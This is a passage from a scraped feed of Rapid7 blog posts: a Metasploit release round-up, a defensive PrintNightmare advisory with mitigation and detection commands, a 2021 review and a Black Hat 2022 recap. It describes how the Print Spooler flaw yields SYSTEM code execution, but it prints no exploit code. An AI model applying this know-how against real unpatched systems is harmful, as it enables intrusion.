[CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) \\- A new module has been added to Metasploit to exploit PrintNightmare, aka CVE-2021-1675/CVE-2021-34527, a Remote Code Execution vulnerability in the Print Spooler service of Windows. Successful exploitation results in the ability to load and execute an attacker controlled DLL as the `SYSTEM` user.\n\n * [NSClient++ 0.5.2.35 - Privilege escalation](<https://github.com/rapid7/metasploit-framework/pull/15318>) by BZYO, Yann Castel and kindredsec - This post module allows an attacker to perform a privilege escalation on a machine running a vulnerable version of NSClient++. The module retrieves the admin password from a config file at a customizable path, and so long as NSClient++ has both the web interface and ExternalScriptsfeature enabled, gains a SYSTEM shell.\n\n## Enhancements and features\n\n * [#15366](<https://github.com/rapid7/metasploit-framework/pull/15366>) from [pingport80](<https://github.com/pingport80>) \\- This updates how the msfconsole's history file is handled. It adds a size limitation so the number of commands does not grow indefinitely and fixes a locking condition that would occur when the history file had grown exceptionally large (~400,000 lines or more).\n\n## Bugs fixed\n\n * [#15320](<https://github.com/rapid7/metasploit-framework/pull/15320>) from [agalway-r7](<https://github.com/agalway-r7>) \\- A bug has been fixed in the `read_file` method of `lib/msf/core/post/file.rb` that prevented PowerShell sessions from being able to use the `read_file()` method. PowerShell sessions should now be able to use this method to read files from the target system.\n * [#15371](<https://github.com/rapid7/metasploit-framework/pull/15371>) from [bcoles](<https://github.com/bcoles>) \\- This fixes an issue in the `apport_abrt_chroot_priv_esc` module where if the `apport-cli` binary was not in the PATH the check method would fail.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from\n\nGitHub:\n\n * [Pull Requests 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-06-30T14%3A00%3A49-05%3A00..2021-07-08T16%3A19%3A37%2B01%3A00%22>)\n * [Full diff 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/compare/6.0.51...6.0.52>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest.\n\nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the\n\n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-07-09T17:53:41", "type": "rapid7blog", "title": "Metasploit Wrap-up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T17:53:41", "id": "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "href": "https://blog.rapid7.com/2021/07/09/metasploit-wrap-up-120/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-12T14:55:46", "description": "\n\n**Vulnerability note:** This blog originally referenced CVE-2020-1675, but members of the community noted the week of June 29 that the publicly available exploits that purported to exploit CVE-2021-1675 may in fact have been targeting a new vulnerability in the same function as CVE-2021-1675. This was later confirmed, and Microsoft issued a new CVE for what the research community originally thought was CVE-2021-1675. Defenders should now follow guidance and remediation information on the new vulnerability identifier,[CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), instead.\n\nOn June 8, 2021, Microsoft released an advisory and patch for [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) (\u201cPrintNightmare\u201d), a critical vulnerability in the Windows Print Spooler. Although [originally classified](<https://www.rapid7.com/blog/post/2021/06/08/patch-tuesday-june-2021/>) as a privilege escalation vulnerability, security researchers have demonstrated that the vulnerability allows authenticated users to gain remote code execution with SYSTEM-level privileges. On June 29, 2021, as proof-of-concept exploits for the vulnerability began circulating, security researchers discovered that a vulnerability they thought to be CVE-2021-1675 was still exploitable on some systems that had been patched. As of July 1, at least three different proof-of-concept exploits [had been made public](<https://github.com/afwu/PrintNightmare>).\n\nRapid7 researchers confirmed that public exploits worked against fully patched Windows Server 2019 installations as of July 1, 2021. The vulnerable service is enabled by default on Windows Server, with the exception of Windows Server Core. Therefore, it is expected that in the vast majority of enterprise environments, Windows systems are vulnerable to remote code execution by authenticated attackers.\n\nThe vulnerability is in the `RpcAddPrinterDriver` call of the Windows Print Spooler. A client uses the RPC call to add a driver to the server, storing the desired driver in a local directory or on the server via SMB. The client then allocates a `DRIVER_INFO_2` object and initializes a `DRIVER_CONTAINER` object that contains the allocated `DRIVER_INFO_2` object. The `DRIVER_CONTAINER` object is then used within the call to `RpcAddPrinterDriver` to load the driver. This driver may contain arbitrary code that will be executed with SYSTEM privileges on the victim server. This command can be executed by any user who can authenticate to the Spooler service.\n\n## Updates\n\n**9 July 2021**: Microsoft [released revised guidance on CVE-2021-34527](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) the evening of July 8. According to the Microsoft Security Response Center, the out-of-band security update "is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration." This is consistent with Microsoft's emphasis earlier in the week that the out-of-band update effectively remediates CVE-2021-34527 **as long as Point and Print is not enabled.**\n\nThe [updated guidance from July 8, 2021](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) also contains revisions to the registry keys that must be set to `0` (or must not be present) in order to ensure that Point and Print is disabled in customer environments. Previously, Microsoft's guidance had been that Point and Print could be disabled by setting the following registry keys to `0` (or ensuring they are not present):\n\n * `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall = 0` and\n * `NoWarningNoElevationOnUpdate = 0`\n\n**However, as of July 8, 2021, one of the registry keys that must be set to a 0 (zero) value has changed.** Current guidance is that Point and Print can be disabled by setting the following registry keys to `0` (or ensuring they are not present):\n\n * `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall = 0` (DWORD) or not defined (default setting) **and**\n * `UpdatePromptSettings = 0` (DWORD) or not defined (default setting)\n\nWe have updated the `Mitigation Guidance` section in this post to reflect the latest remediation guidance from Microsoft. Further details can still be found in [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>).\n\n**7 July 2021**: Microsoft released out-of-band updates for some (but not all) versions of Windows the evening of July 6, 2021. According to Microsoft's updated advisory, "the security updates released on and after July 6, 2021 contain protections for CVE-2021-1675 and the additional remote code execution exploit in the Windows Print Spooler service known as \u201cPrintNightmare\u201d, documented in CVE-2021-34527." Exploitation in the wild has been detected, and ALL Windows systems are affected\u2014not just domain controllers.\n\n**As of July 7, 2021, multiple community researchers have disputed the efficacy of Microsoft's out-of-band fixes for CVE-2021-34527, noting that the local privilege escalation (LPE) vector may not have been addressed, and while the July 6 updates may have remediated the original MS-RPRN vector for remote code execution, RCE is [still possible using MS-PAR](<https://twitter.com/gentilkiwi/status/1411792763478233091>) with Point and Print enabled.** Several prominent researchers have tested ongoing exploitability, including [Will Dormann of CERT/CC](<https://twitter.com/wdormann/status/1412813044279910416>) and Mimikatz developer [Benjamin Delpy](<https://twitter.com/gentilkiwi/status/1412771368534528001>). Dormann [tweeted](<https://twitter.com/wdormann/status/1412813044279910416>) on July 7, 2021 just after noon EDT that "If you have a system where PointAndPrint NoWarningNoElevationOnInstall = 1, then Microsoft's patch for #PrintNightmare CVE-2021-34527 does nothing to prevent either LPE or RCE."\n\nRapid7 researchers have confirmed that Metasploit and other public proof-of-concept code is still able to achieve remote code execution using both MS-RPRN and the UNC path bypass _as long as Point and Print is enabled._ When Point and Print is disabled using the guidance below, public exploit code fails to achieve remote code execution.\n\nTo fully remediate PrintNightmare CVE-2021-34527, Windows administrators should review Microsoft's guidance in in [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>), install the out-of-band updates released July 6, 2021, and disable Point and Print. Microsoft also recommends restricting non-administrators from installing any signed or unsigned printer drivers on printer servers. See the **Mitigation Guidance** section below for detailed guidance.\n\n**6 July 2021**: Since this blog was initially posted, additional information has become available. Microsoft has issued a new advisory and assigned a new CVE ID to the PrintNightmare vulnerability: [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). \nThe new guidance recommends disabling the print spooler, as we initially recommended, and also contains instructions to disable inbound remote printing through Group Policy.\n\nThese are only workarounds and a patch remains unavilable at this time. \nSince this vulnerability has no patch and multiple proofs-of-concept are freely available, we recommend implementing a workaround mitigation as soon as possible. We advise folowing one of the two workarounds on all Domain Controllers and any other Windows machines\u2014servers or clients\u2014which meet either of the following criteria:\n\n 1. Point and Print is enabled\n 2. The Authenticated Users group is nested within any of the groups that are listed in the [mitigation section of Microsoft's advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\nFrom a technical standpoint, additional information from Cube0x0 and Benjamin Delpy suggests that the `RpcAddPrinterDriver` is not the only vulnerable function, and the Win32 `AddPrinterDriverEx` function will also work correctly.Some proofs of concept used only the RPRN `RpcAddPrinterDriver` function and did not work on certain machines; others have been demonstrated to work on servers and clients other than domain controllers using `AddPrinterDriverEx`. This has also been referred to as "SharpPrintNightmare".\n\n## Mitigation Guidance\n\nUp until July 6, 2021, the most effective mitigation strategy was to disable the print spooler service itself. Since July 6, Microsoft's guidance on remediating CVE-2021-34527 has undergone several revisions. Updated mitigation guidance is below, and we have also preserved our original guidance on disabling the print spooler service. The Microsoft Security Response Center [published a blog](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) with the details below on July 8, 2021.\n\n**As of July 9, 2021:** \nTo fully remediate CVE-2021-34527, Windows administrators should review Microsoft's guidance in in [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) and do the following:\n\n 1. Install the cumulative update released July 6, 2021.\n 2. Disable Point and Print by setting the following registry keys to `0` (or ensuring they are not present):\n * `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall = 0` (DWORD) or not defined (default setting) **and**\n * `UpdatePromptSettings = 0` (DWORD) or not defined (default setting)\n 3. Configure the `RestrictDriverInstallationToAdministrators` registry value to prevent non-administrators from installing printer drivers on a print server. Setting this value to 1 or any non-zero value prevents a non-administrator from installing any signed or unsigned printer driver on a printer server. Administrators can install both a signed or unsigned printer driver on a print server.\n\n**Note:** This guidance has been revised and reflects new information published by Microsoft on July 8, 2021. Previously, Microsoft's guidance had been that Point and Print could be disabled by setting the `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall` and `NoWarningNoElevationOnUpdate` registry keys to `0`. As of July 9, 2021, this information is outdated and Windows customers should use the [revised guidance](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>).\n\nAfter installing the July 2021 out-of-band update, all users will be either administrators or non-administrators. Delegates will no longer be honored. See [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for further information.\n\nIf your organization does not require printing to conduct business operations, you may also disable the print spooler service. This should be done on all endpoints, servers, and especially domain controllers. Dedicated print servers may still be vulnerable if the spooler is not stopped. Microsoft [security guidelines](<https://docs.microsoft.com/en-us/windows-server/security/windows-services/security-guidelines-for-disabling-system-services-in-windows-server#print-spooler>) do not recommend disabling the service across all domain controllers, since the active directory has no way to remove old queues that no longer exist unless the spooler service is running on at least one domain controller in each site. However, until this vulnerability is effectively patched, this should have limited impact compared to the risk.\n\nOn Windows cmd:\n \n \n net stop spooler\n \n\nOn PowerShell:\n \n \n Stop-Service -Name Spooler -Force\n Set-Service -Name Spooler -StartupType Disabled\n \n\nThe following PowerShell commands can be used to help find exploitation attempts:\n \n \n Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin' | Select-String -InputObject {$_.message} -Pattern 'The print spooler failed to load a plug-in module'\n \n \n \n Get-WinEvent -FilterHashtable @{Logname='Microsoft-Windows-PrintService/Operational';ID=316} | Select-Object *\n \n\n## Rapid7 Customers\n\nWe strongly recommend that all customers either install the July 6, 2021 out-of-band updates **and** disable Point and Print via the two registry keys detailed in the `Mitigation Guidance` section above, **OR** disable the Windows Print Spooler service altogether on an emergency basis to mitigate the immediate risk of exploitation. InsightVM and Nexpose customers can assess their exposure to CVE-2021-34527 with authenticated checks in the July 8, 2021 content release. Checks look for the out-of-band patches Microsoft issued on July 6, 2021 and additionally ensure that Point and Print has been disabled in customer environments. InsightVM and Nexpose checks for CVE-2021-1675 were [released earlier in June](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-1675/>).\n\nVelociraptor users can use [this artifact](<https://docs.velociraptor.app/exchange/artifacts/pages/printnightmare/>) and [this artifact](<https://docs.velociraptor.app/exchange/artifacts/pages/printnightmaremonitor/>) to hunt for .dll files dropped during PrintNightmare exploitation. An exploit module is also available to Metasploit Pro customers.\n\nWe will continue to update this blog as further information comes to light.", "cvss3": {}, "published": "2021-06-30T18:15:59", "type": "rapid7blog", "title": "CVE-2021-34527 (PrintNightmare): What You Need to Know", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1675", "CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-06-30T18:15:59", "id": "RAPID7BLOG:45A121567763FF457DE6E50439C2605A", "href": "https://blog.rapid7.com/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-05T19:04:19", "description": "\n\nNow that 2022 is fully underway, it's time to wrap up some of the milestones that Rapid7 achieved in 2021. We worked harder than ever last year to help protectors keep their organization's infrastructure secure \u2014 even in the face of [some of the most difficult threats](<https://www.rapid7.com/log4j-cve-2021-44228-customer-resources/>) the security community has dealt with in recent memory. Here's a rundown of some of our biggest moments in that effort from 2021.\n\n## Emergent threats and vulnerability disclosures\n\nAs always, our Research and Emergent Threat Response teams spent countless hours this year tirelessly bringing you need-to-know information about the most impactful late-breaking security exploits and vulnerabilities. Let's revisit some of the highlights.\n\n### Emergent threat reports\n\n * [Widespread Exploitation of Critical Remote Code Execution in Apache Log4j](<https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/>)\n * [CVE-2021-34527 (PrintNightmare): What You Need to Know](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)\n * [GitLab Unauthenticated Remote Code Execution CVE-2021-22205 Exploited in the Wild](<https://www.rapid7.com/blog/post/2021/11/01/gitlab-unauthenticated-remote-code-execution-cve-2021-22205-exploited-in-the-wild/>)\n * [Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)](<https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/>)\n * [Microsoft SAM File Readability CVE-2021-36934: What You Need to Know](<https://www.rapid7.com/blog/post/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/>)\n * [ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>)\n\n### Vulnerability disclosures\n\n * [CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](<https://www.rapid7.com/blog/post/2021/09/07/cve-2021-3546-78-akkadian-console-server-vulnerabilities-fixed/>)\n * [Fortinet FortiWeb OS Command Injection](<https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/>)\n * [CVE-2020-7387..7390: Multiple Sage X3 Vulnerabilities](<https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/>)\n\n## Research and policy highlights\n\nThat's not all our Research team was up to in 2021. They also churned out a wealth of content and resources weighing in on issues of industry-wide, national, and international importance.\n\n * We published several reports on the state of cybersecurity, including:\n * Our [2020 Vulnerability Intelligence Report](<https://www.rapid7.com/blog/post/2021/03/11/introducing-the-vulnerability-intelligence-report-50-cves-that-made-headlines-in-2020/>)\n * Our latest [Industry Cyber-Exposure Report (ICER)](<https://www.rapid7.com/blog/post/2021/05/05/rapid7-releases-new-industry-cyber-exposure-report-icer-asx-200/>)\n * Our [2021 Cloud Misconfigurations Report](<https://www.rapid7.com/info/2021-cloud-misconfigurations-research-report/>)\n * We tackled the [hot-button topic of hack back](<https://www.rapid7.com/blog/post/2021/08/10/hack-back-is-still-wack/>) and discussed whether or not the practice is, in fact, wack. (Spoiler: It is.)\n * We unpacked the implications for [cybersecurity in the US Infrastructure Bill](<https://www.rapid7.com/blog/post/2021/08/31/cybersecurity-in-the-infrastructure-bill/>).\n * We highlighted the reasons why we think the [UK's Computer Misuse Act](<https://www.rapid7.com/blog/post/2021/08/12/reforming-the-uks-computer-misuse-act/>) needs some revising.\n * We launched [Project Doppler](<https://www.rapid7.com/research/project-doppler/>), a free tool for Rapid7 customers, developed by our Research team to help organizations get better insight into their public internet exposure.\n\n## The Rapid7 family keeps growing\n\nThroughout 2021, we made some strategic acquisitions to broaden the solutions we offer and help make the [Insight Platform](<https://www.rapid7.com/products/insight-platform/>) the one-stop shop for your security program.\n\n * [We acquired IntSights](<https://www.rapid7.com/blog/post/2021/07/19/rapid7-acquires-intsights/>) to help organizations obtain holistic threat intelligence.\n * [We teamed up with open-source platform Velociraptor](<https://www.rapid7.com/blog/post/2021/04/21/rapid7-and-velociraptor-join-forces/>) to provide teams with better endpoint visibility.\n * [We brought Kubernetes security provider Alcide](<https://www.rapid7.com/blog/post/2021/02/01/rapid7-acquires-leading-kubernetes-security-provider-alcide/>) under the Rapid7 umbrella to add more robust cloud security capabilities to InsightCloudSec.\n\n## Industry accolades\n\nWe're always thrilled to get industry recognition for the work we do helping protectors secure their organizations \u2014 and we had a few big nods to celebrate in 2021.\n\n * Gartner once again [named us a Leader](<https://www.rapid7.com/blog/post/2021/08/23/rapid7-mdr-named-a-market-leader-again/>) in its Magic Quadrant for Managed Detection and Response (MDR).\n * We also earned recognition as a Strong Performer in the [inaugural Forrester Wave for MDR](<https://www.rapid7.com/blog/post/2021/03/24/rapid7-recognized-as-a-strong-performer-in-the-inaugural-forrester-wave-for-mdr-q1-2021/>).\n * InsightIDR was recognized by Gartner us as a [Leader in SIEM](<https://www.rapid7.com/blog/post/2021/07/06/once-again-rapid7-named-a-leader-in-2021-gartner-magic-quadrant-for-siem/>) for the second time in a row.\n * For its 2021 Dynamic Application Security Testing (DAST) Magic Quadrant, Gartner [named us a Visionary](<https://www.rapid7.com/blog/post/2021/06/01/rapid7-named-a-visionary-in-2021-gartner-magic-quadrant-for-application-security-testing/>).\n\n## Keeping in touch\n\nClearly, we had a pretty busy 2021 \u2014 and we have even more planned for 2022. If you need the latest and greatest in security content to tide you over throughout the last few weeks of the year, we have a few ideas for you.\n\n * Listen to the [latest season of Security Nation](<https://www.rapid7.com/blog/series/security-nation/security-nation-season-4/>), our podcast where we chat with amazing guests from all corners of the security community. Season 5 launches later this month!\n * Put the finishing touches on your cybersecurity program for the coming year with insights from our [2022 Planning series](<https://www.rapid7.com/blog/tag/2022-planning/>).\n * Get better acquainted with the latest application security threats with our series on the [OWASP Top 10 for 2021](<https://www.rapid7.com/blog/tag/owasp-top-10-2021/>).\n * Read up on why [InsightIDR was XDR before it was cool to be XDR](<https://www.rapid7.com/blog/post/2021/11/09/insightidr-was-xdr-before-xdr-was-even-a-thing-an-origin-story/>).\n\nStay tuned for more great content, research, and much more in 2022!\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-01-05T18:52:41", "type": "rapid7blog", "title": "Rapid7 2021 Wrap-Up: Highlights From a Year of Empowering the Protectors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-7387", "CVE-2021-1675", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-34527", "CVE-2021-3546", "CVE-2021-36934", "CVE-2021-44228"], "modified": "2022-01-05T18:52:41", "id": "RAPID7BLOG:F9B4F18ABE4C32CD54C3878DD17A8630", "href": "https://blog.rapid7.com/2022/01/05/rapid7-2021-wrap-up-highlights-from-a-year-of-empowering-the-protectors/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-30T18:02:41", "description": "\n\n[Open-source security](<https://www.rapid7.com/open-source/>) has been a hot topic in recent years, and it's proven to be something of a double-edged sword. On the one hand, there's an understanding of the potential that open-source tools hold for democratizing security, making industry best practices accessible to more organizations and helping keep everyone's data better protected from attackers. On the other hand, open-source codebases have been the subject of some of the most serious and high-impact vulnerabilities we've seen over the past 12 months, namely [Log4Shell](<https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/>) and [Spring4Shell](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>).\n\nWhile the feeling around open-source understandably wavers between excitement and trepidation, one thing is for sure: Open-source frameworks are here to stay, and it's up to us to ensure they deliver on their potential and at the same time remain secure.\n\nThe future of open-source was a common theme at [Black Hat 2022](<https://www.rapid7.com/info/events-2022/post-blackhat-2022/>), and two members of the Rapid7 research team \u2014 Lead Security Research Spencer McIntyre and Principal Security Researcher Curt Barnard \u2014 shined a light on the work they've been doing to improve and innovate with open-source tools. Here's a look at their presentations from Black Hat, and how their efforts are helping push open-source security forward.\n\n## A more powerful Metasploit\n\nSpencer, whose work focuses primarily on Rapid7's widely used attacker emulation and penetration testing tool [Metasploit](<https://www.rapid7.com/products/metasploit/>), shared the latest and greatest improvements he and the broader team have made to the open-source framework in the past year. The upgrades they've made reflect a reality that security pros across the globe are feeling everyday: The perimeter is disappearing.\n\nIn a threat environment shaped by [ransomware](<https://www.rapid7.com/blog/post/2022/06/16/new-report-shows-what-data-is-most-at-risk-to-and-prized-by-ransomware-attackers/>), [supply chain attacks](<https://www.rapid7.com/blog/post/2022/04/26/how-to-strategically-scale-vendor-management-and-supply-chain-security/>), and widespread vulnerabilities like Log4Shell, bad actors are increasingly stringing together complex attack workflows leveraging multiple vulnerabilities. These techniques allow adversaries to go from outside to within an organization's network more quickly and easily than ever before.\n\nThe updates Spencer and team have made to Metasploit are intended to help security teams keep up with this shift, with more modern, streamlined workflows for testing the most common attack vectors. These recent improvements to Metasploit include:\n\n****Credential capturing:**** Credential capture is a key component of the attacker emulation toolkit, but previously, the process for this in Metasploit involved spinning up 13 different modules and managing and specifying configurations for each. Now, Metasploit offers a credential capture plugin that lets you configure all options from a single start/stop command, eliminating redundant work.\n\n****User interface (UI) optimization: ****URLs are commonly used to identify endpoints \u2014 particularly web applications \u2014 during attacker emulation. Until now, Metasploit required users to manually specify quite a few components when using URLs. The latest update to the Metasploit UI understands a URL's format, so users can copy and paste them from anywhere, even right from their browser.\n\n****Payloadless session capabilities: ****When emulating attacks, exploits typically generate Meterpreter payloads, making them easy to spot for many antivirus and EDR solutions \u2014 and reducing their effectiveness for security testing. Metasploit now lets you run post-exploitation actions and operations without needing a payload. You can tunnel modules through SSH sessions or create a WinRM session for any Metasploit module compatible with the shell session type, removing the need for a payload like reverse shell or Meterpreter.\n\n****SMB server support:**** Metasploit Version 6 included SMB 3 server support, but only for client modules, which was limiting for users who were working with modern Windows targets that had disabled SMB 3 client support. Now, SMB 3 is available in all SMB server modules, so you can target modern Windows environments and have them fetch (often payload) files from Metasploit. This means you don't need to install and configure an external service to test for certain types of vulnerabilities, including [PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>).\n\n## Defaultinator: Find default credentials faster\n\nMetasploit is at the heart of Rapid7's commitment to open-source security, but we're not stopping there. In addition to continually improving Metasploit, our research team works on new open-source projects that help make security more accessible for all. The latest of those is Defaultinator, a new tool that Curt Barnard announced the release of in his Black Hat Arsenal talk this year. (Curt also joined our podcast, Security Nation, to preview the announcement \u2014 [check out that episode](<https://www.rapid7.com/blog/post/2022/08/03/security-nation-curt-barnard-on-defaultinator-black-hat-arsenal-preview/>) if you haven't yet!)\n\n[Defaultinator](<https://defaultinator.com/>) is an open-source tool for looking up default usernames and passwords, providing an easy-to-search data repository in which security pros can query these commonly used credentials to find and eliminate them from their environment. This capability is becoming increasingly important for security teams, for a few key reasons:\n\n * Some commonly used pieces of hardware in IT environments come with default credentials that could give attackers an easily exploitable method of network access. Curt gave the example of the Raspberry Pi microcontroller board, which always comes with the username \"pi\" and password \"raspberry\" for initial login \u2014 a security flaw that resulted in a [10 CVSS vulnerability](<https://nvd.nist.gov/vuln/detail/CVE-2021-38759>) published in 2021.\n * Meanwhile, IoT devices have been proliferating, and many of these manufacturers don't have security best practices at the front of their mind. That means hardcoded default credentials for first-time logins are common in this type of tool.\n * Many software engineers (Curt included) spend a lot of time in [Stack Overflow](<https://stackoverflow.com/>), and many of the code snippets found there contain example usernames and passwords. If you aren't careful when copying and pasting, default credentials could make their way into your production environment.\n\nWith a whopping 54 CVEs for hardcoded usernames and passwords released just in 2022 so far (by Curt's count), security pros are in need of a fast, accurate way to audit for default credentials. But until now, the tools for these kinds of audits just haven't been out there, let alone widely available.\n\nThat's why it was so important to make Defaultinator, the first tool of its kind for querying default usernames and passwords, an open-source solution \u2014 to ensure broad accessibility and help as many defenders as possible. Defaultinator offers an API search-based utility or a web-based user interface if you prefer not to interact with the API. It runs in Docker, and the quickstart repository on [Github](<https://github.com/defaultinator>) takes just four lines of code to get up and running.\n\nWatch the replays of Spencer's and Curt's presentations, as well as other great sessions from Black Hat 2022, at our [replay page](<https://www.rapid7.com/info/events-2022/post-blackhat-2022/>).\n\n_**Additional reading:**_\n\n * _[Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software](<https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/>)_\n * _[[VIDEO] An Inside Look at Black Hat 2022 From the Rapid7 Team](<https://www.rapid7.com/blog/post/2022/08/15/video-an-inside-look-at-black-hat-2022-from-the-rapid7-team/>)_\n * _[Collaboration Drives Secure Cloud Innovation: Insights From AWS re:Inforce](<https://www.rapid7.com/blog/post/2022/08/02/collaboration-drives-secure-cloud-innovation-insights-from-aws-re-inforce/>)_\n * _[Defending Against Tomorrow's Threats: Insights From RSAC 2022](<https://www.rapid7.com/blog/post/2022/06/13/defending-against-tomorrows-threats-insights-from-rsac-2022/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-19T14:25:08", "type": "rapid7blog", "title": "Pushing Open-Source Security Forward: Insights From Black Hat 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-38759"], "modified": "2022-08-19T14:25:08", "id": 